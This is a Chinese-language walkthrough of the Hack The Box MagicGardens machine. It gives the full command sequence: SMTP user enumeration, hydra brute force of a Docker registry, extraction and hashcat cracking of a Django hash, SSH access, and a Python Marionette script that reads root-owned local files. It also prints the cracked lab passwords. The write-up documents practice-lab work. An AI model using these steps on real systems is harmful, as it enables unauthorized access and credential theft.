HACK THE BOX HTB - Season 5 Week 5 MagicGardens Writeup
2024-5-21 13:31:23 Author: www.freebuf.com(查看原文) 阅读量:54 收藏

image

无废话总结版本

  • 通过 VRFY 的方式爆破 SMTP 服务,获得用户名 alex

  • 通过对 Docker register 服务登录的爆破,获得 alex 用户的口令

  • docker 私有仓库中,有 80 端口 web 服务的镜像, pull 下来运行,可以在容器中发现db.sqlite3文件

  • db.sqlite3 中包含 morty 用户的密码 hash 值,使用 hashcat 进行爆破,获得口令

  • 查看运行服务,以及端口,发现firefox 相关 remote debug 服务,使用 Python marionette_driver 库进行连接,操作远程的 firefox 浏览器

  • 访问本地文件,同时获得 user flag 和 root flag

初期信息收集

先使用 nmap 扫描一下。

nmap -sS -p- 10.10.11.9

可以得到开放端口:22, 25, 80, 1337, 5000 。

进一步扫描端口的指纹,查看端口的服务及其版本。

nmap -sV -p 22,25,80,1337,5000 10.10.11.9

得到的结果:

$ sudo nmap -sV -p 22,25,80,1337,5000 10.10.11.9
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-21 11:40 CST
Nmap scan report for *.magicgardens.htb (10.10.11.9)
Host is up (0.25s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
25/tcp   open  smtp     Postfix smtpd
80/tcp   open  http     nginx 1.22.1
1337/tcp open  waste?
5000/tcp open  ssl/http Docker Registry (API: 2.0)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.94%I=7%D=5/21%Time=664C17CA%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,15,"\[x\]\x20Handshake\x20error\n\0")%r(GetRequest,15,"\[x\]
SF:\x20Handshake\x20error\n\0")%r(HTTPOptions,15,"\[x\]\x20Handshake\x20er
SF:ror\n\0")%r(RTSPRequest,15,"\[x\]\x20Handshake\x20error\n\0")%r(RPCChec
SF:k,15,"\[x\]\x20Handshake\x20error\n\0")%r(DNSVersionBindReqTCP,15,"\[x\
SF:]\x20Handshake\x20error\n\0")%r(DNSStatusRequestTCP,15,"\[x\]\x20Handsh
SF:ake\x20error\n\0")%r(Help,15,"\[x\]\x20Handshake\x20error\n\0")%r(Termi
SF:nalServerCookie,15,"\[x\]\x20Handshake\x20error\n\0")%r(X11Probe,15,"\[
SF:x\]\x20Handshake\x20error\n\0")%r(FourOhFourRequest,15,"\[x\]\x20Handsh
SF:ake\x20error\n\0")%r(LPDString,15,"\[x\]\x20Handshake\x20error\n\0")%r(
SF:LDAPSearchReq,15,"\[x\]\x20Handshake\x20error\n\0")%r(LDAPBindReq,15,"\
SF:[x\]\x20Handshake\x20error\n\0")%r(LANDesk-RC,15,"\[x\]\x20Handshake\x2
SF:0error\n\0")%r(TerminalServer,15,"\[x\]\x20Handshake\x20error\n\0")%r(N
SF:CP,15,"\[x\]\x20Handshake\x20error\n\0")%r(NotesRPC,15,"\[x\]\x20Handsh
SF:ake\x20error\n\0")%r(JavaRMI,15,"\[x\]\x20Handshake\x20error\n\0")%r(ms
SF:-sql-s,15,"\[x\]\x20Handshake\x20error\n\0")%r(afp,15,"\[x\]\x20Handsha
SF:ke\x20error\n\0")%r(giop,15,"\[x\]\x20Handshake\x20error\n\0");
Service Info: Host:  magicgardens.magicgardens.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.92 seconds

服务信息获取,其中 1337 端口未知,估计是自己写的服务。

爆破 SMTP 服务, 获得用户名

对 smtp 服务进行用户名的信息收集,这里使用 smtp-user-enum , 如果 kali 没有,可以直接 apt 下载。

sudo smtp-user-enum -M VRFY -U /usr/share/wordlists/user/username.txt -t 10.10.11.9

这里字典是 github 上找的 https://github.com/rootphantomer/Blasting_dictionary/blob/master/%E5%B8%B8%E7%94%A8%E7%94%A8%E6%88%B7%E5%90%8D.txt

结果:(这里第二遍做,偷个懒,user.txt里面就放了alex)

image

爆破 docker registry 服务,获得私有仓库口令

这里使用 hydra 进行爆破,hydra 本事没有直接的 docker 模块,这里使用 https-get

hydra -l alex -p /usr/share/wordlists/rockyou.txt 10.10.11.9 -s 5000 https-get /v2/

结果:

image

获得 password:diamonds

尝试之下只能打开 docker registry。

收集私有仓库信息

浏览器访问https://10.10.11.9:5000/v2/_catalog获取私有仓库的镜像列表。

image

可以得知,有个镜像名为magicgardens,htb,该镜像与 80 端口服务同名,应该 80 服务的对应镜像。

访问https://10.10.11.9:5000/v2/magicgardens.htb/tags/list, 获取镜像标签

image

可知只有一个标签1.3

拉取镜像,运行容器,获得 password hash

使用docker login 10.10.11.9:5000 -u alex -p diamonds登录私有仓库

image

使用docker pull 10.10.11.9:5000/magicgardens.htb:1.3拉取镜像,这里需要等待一段时间,因为已经 pull 过了,这里就没有过程了。

image

使用docker run -p 8888:80 -itd 10.10.11.9:5000/magicgardens.htb:1.3运行容器。

然后使用docker ps查看容器id

image

使用docker exec -it <container:id> bash进入容器内部。

image

可以确定,确实是 80 端口服务,其中还有 sqlite3 的数据库。

我们退出容器,或者打开一个新的终端,使用docker cp d70e:/usr/src/app ./将 web 服务的文件复制到宿主机上。(d70e换成自己的容器id)

image

查看 db.sqlite3 文件,发现hash值。

image

hashcat 破解 hash 值

这里 hash 的类型是Django (PBKDF2-SHA256)查看可知编号为 10000.

.\hashcat.exe -a 0 -m 10000 .\hashfile\week5-2.txt .\wordlist\rockyou.txt

image

获得用户 morty 的口令为 jonasbrothers。

SSH 登录,新一轮的信息收集

使用 morty:jonasbrothers 登录,进入主机终端。

使用ps aux获取运行终端,使用netstat -nulte获取服务运行端口。

image

image

这里的端口这些,在启动时是给的随机的,是会变化的。

使用 chisel 打隧道,把127.0.0.1的几个端口映射出来,这里不赘述,互联网上很多文章。

这里可能的漏洞点是 firefox 开启了远程调节,估计还存在一个 geckodriver 服务之类的。

我们访问几个端口,若返回为50:{"applicationType":"gecko","marionetteProtocol":3}可以确定为 geckodriver 服务端口,我这里是45525端口。

远程控制 firefox 访问本地文件,获取 flag

根据前面ps aux获得的信息,使用的是 marionette 协议,这里可以使用 python 的 marionette_driver 库进行连接,控制 firefox .

贴上代码:

from marionette_driver.marionette import Marionette

# 创建一个Marionette实例
client = Marionette('127.0.0.1', port=45525)

# 启动会话
client.start_session()

# 访问百度或文件
client.navigate('https://www.baidu.com')

# 获取页面内容
print(client.page_source)

# 关闭会话
client.delete_session()

这里的client.navigate('https://www.baidu.com')可以修改为你想访问的网站和文件,咱们先尝试访问本地服务 127.0.0.1:8000.

执行代码:

client.navigate('http://127.0.0.1:8000')

image

成功访问到本地的 nginx 服务。

执行代码:

client.navigate('file:///etc/passwd')

image

成功获取本地文件 /etc/passwd。

执行代码:

client.navigate('file:///root/root.txt')

image

成功获取 root flag

执行代码:

client.navigate('file:///home/alex/user.txt')

image

成功获取 user flag

总结

感觉是非预期解,其中还有服务没有用到,比如 1337 端口的那个未知服务,其实 down 下来研究过,放到 ida 中,可以看到是个抓包程序,估计是存在缓冲区溢出的东西,但是这方面比较薄弱,没有去深究。

image


文章来源: https://www.freebuf.com/defense/401470.html
如有侵权请联系:admin#unsafe.sh